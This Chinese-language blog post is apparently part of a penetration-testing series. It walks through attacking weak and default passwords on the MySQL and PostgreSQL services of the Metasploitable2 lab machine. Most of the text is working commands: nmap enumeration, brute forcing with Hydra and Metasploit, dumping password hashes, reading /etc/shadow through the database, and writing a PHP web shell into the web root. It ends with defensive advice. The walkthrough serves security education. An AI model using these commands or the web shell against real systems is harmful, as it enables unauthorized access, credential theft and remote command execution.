前幾篇我們利用的攻擊手法五花八門:後門、命令注入、反序列化、設定不當。今天回到最基本、卻也是最常見的問題——弱密碼。
在真實世界的滲透測試報告中,「弱密碼」和「預設密碼」出現的頻率遠高於任何花俏的漏洞。根據 Verizon 的年度資料外洩調查報告(DBIR),被竊取或弱化的憑證是資料外洩最主要的攻擊途徑之一。
Metasploitable2 上的 MySQL 和 PostgreSQL 都存在弱密碼甚至空密碼的問題。今天我們就來示範如何偵測和利用這些弱密碼,以及拿到資料庫存取權限後能做什麼。
MySQL實作開始進階偵查
# 取得 MySQL 版本和狀態資訊
nmap --script mysql-info -p 3306 <靶機IP>
# 列舉 MySQL 使用者(如果允許匿名查詢)
nmap --script mysql-enum -p 3306 <靶機IP>
# 檢查空密碼
nmap --script mysql-empty-password -p 3306 <靶機IP>


PostgreSQL實作開始進階偵查
# 取得 PostgreSQL 資訊
# 方法一:直接試已知的預設帳密(最快,幾秒鐘)
psql -h <靶機IP> -U postgres -c "SELECT version();"
# 密碼輸入:postgres
# 方法二:Nmap 只取資訊,不暴力破解
nmap --script pgsql-brute --script-args userdb=users.txt,passdb=pass.txt -p 5432 <靶機IP>


MySQL直接連線
用另一個參數跳過 SSL
mysql -h 192.168.145.132 -u root --skip-ssl

-- 確認身份
SELECT user(), current_user();
-- 查看所有資料庫
SHOW DATABASES;
-- 查看所有使用者和密碼雜湊
SELECT user, host, password FROM mysql.user;
-- 查看使用者權限
SHOW GRANTS FOR 'root'@'%';
-- 查看 MySQL 版本
SELECT version();
-- 查看資料目錄位置
SHOW VARIABLES LIKE 'datadir';
-- 查看是否允許讀寫檔案
SHOW VARIABLES LIKE 'secure_file_priv';
-- 假設有一個叫 dvwa 的資料庫
USE dvwa;
SHOW TABLES;
-- 查看使用者資料表(如果存在)
SELECT * FROM users;









從資料庫讀取系統檔案
-- 讀取 /etc/passwd(因為顯示很多沒有截圖)
SELECT LOAD_FILE('/etc/passwd');
-- 讀取 /etc/shadow(需要 MySQL 的執行身份有權限)
SELECT LOAD_FILE('/etc/shadow');

透過 MySQL 寫入檔案
-- 寫入一個測試檔案
SELECT 'test' INTO OUTFILE '/tmp/mysql_test.txt';
如果 MySQL 跑的是 Web 伺服器的同一台機器,攻擊者甚至可以寫入 Web Shell:
-- 概念示範(寫入 PHP 一句話木馬到 Web 目錄)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php';


PostgreSQL->Hydra 暴力破解(不過非常沒效率)
-- 寫入一個測試檔案
# 用內建字典檔嘗試
hydra -l postgres -P /usr/share/wordlists/rockyou.txt <靶機IP> postgres
# 如果只是測試常見密碼,用小字典就好
hydra -l postgres -P /usr/share/metasploit-framework/data/wordlists/
hydra -l postgres -p postgres 192.168.145.132 postgres


直接連線和PostgreSQL 資訊收集
知道密碼後直接連線:
psql -h 192.168.145.132 -U postgres
-- 確認身份
SELECT current_user;
SELECT session_user;
-- 查看版本
SELECT version();
-- 列出所有資料庫
SELECT datname FROM pg_database;
-- 列出所有使用者
SELECT usename, usesysid, usesuper FROM pg_user;
-- 建立暫存表
CREATE TABLE tmp_file(content text);
-- 把 /etc/passwd 的內容載入表中
COPY tmp_file FROM '/etc/passwd';
-- 讀取內容
SELECT * FROM tmp_file;
-- 清理
DROP TABLE tmp_file;








使用 Metasploit 進行自動化暴力破解
MySQL 暴力破解模組
msfconsole
msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(...) > show options
msf6 auxiliary(...) > set RHOSTS <靶機IP>
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set BLANK_PASSWORDS true
msf6 auxiliary(...) > run
❌ Metasploit mysql_login → 協定不相容(不影響結論)


PostgreSQL 暴力破解模組
msfconsole
msf6 > use auxiliary/scanner/postgres/postgres_login
msf6 auxiliary(...) > show options
msf6 auxiliary(...) > set RHOSTS <靶機IP>
msf6 auxiliary(...) > run


小結
弱密碼攻擊可能是這個系列中技術含量最低的一篇,但這恰恰是它最重要的原因。在真實世界中:
弱密碼更常見:大部分資料外洩事件的起因不是高深的技術攻擊,而是弱密碼或預設密碼
資料庫是高價值目標:相比拿到一個 shell,拿到資料庫通常意味著能直接存取業務資料
資料庫可以是跳板:從資料庫讀寫檔案、執行指令,可以進一步滲透到作業系統層面
防禦很簡單:改一個密碼、跑一次 mysql_secure_installation,就能防住這整篇文章的攻擊
最諷刺的是,防禦最簡單的攻擊,往往是最常成功的攻擊。